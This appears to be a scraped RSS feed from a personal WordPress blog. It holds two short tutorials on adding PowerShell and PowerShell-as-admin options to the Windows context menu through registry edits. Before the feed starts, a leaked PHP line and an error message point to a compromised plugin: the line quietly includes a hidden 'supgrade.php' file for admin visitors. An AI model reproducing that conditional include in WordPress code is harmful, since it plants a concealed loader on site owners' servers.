if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
powershell – Ashwin Sinha http://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:57:43 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 http://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png powershell – Ashwin Sinha http://ash.wine 32 32 Open Powershell as Admin on Right-Click (Context Menu) http://hacks.ash.wine/open-powershell-as-admin-on-right-click-context-menu/ Tue, 28 Jun 2016 09:03:00 +0000 http://ash.wine/?p=284

Open Powershell as Admin on Right-Click

I described how to set a context menu option to open a Powershell console on right click earlier.

To open Powershell as admin on right click, we can add a command to be executed on start to our registry entry like so

$stpath = pwd; Start-Process PowerShell -ArgumentList \"-NoExit\", \"-Command cd $stpath\" -verb RunAs

So our Command in the registry entry will look like the following

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command $stpath = pwd; Start-Process PowerShell -ArgumentList \"-NoExit\", \"-Command cd $stpath\" -verb RunAs

The downside of this approach is that first a normal Powershell window is opened, which opens a new Powershell window as admin if the user has the priviledges, and then the original Powershell window closes in the background.

This results in a flicker when Powershell is run as admin. 😢

Run Powershell as Admin on right click

If you find a flickerless approach to doing this, please leave a comment on this gist. Thanks!

]]>
Add Open Powershell here to context menu http://hacks.ash.wine/add-open-powershell-here-to-context-menu/ Mon, 27 Jun 2016 06:02:00 +0000 http://ash.wine/?p=286

Add Open Powershell here to context menu

To add it to the Windows right click context menu, perform the following steps:

  • Open regedit from the run menu Win + R.

  • Under HKEY_CLASSES_ROOT\Directory\Background\shell create a key called Powershell.

  • Get the Powershell icon location

  • Now add a string value to this key called Icon with a path to the desired icon %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe.

  • Create a new key called Command under Powershell.

  • Change the default value to the path where your powershell.exe is, like %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe.

]]>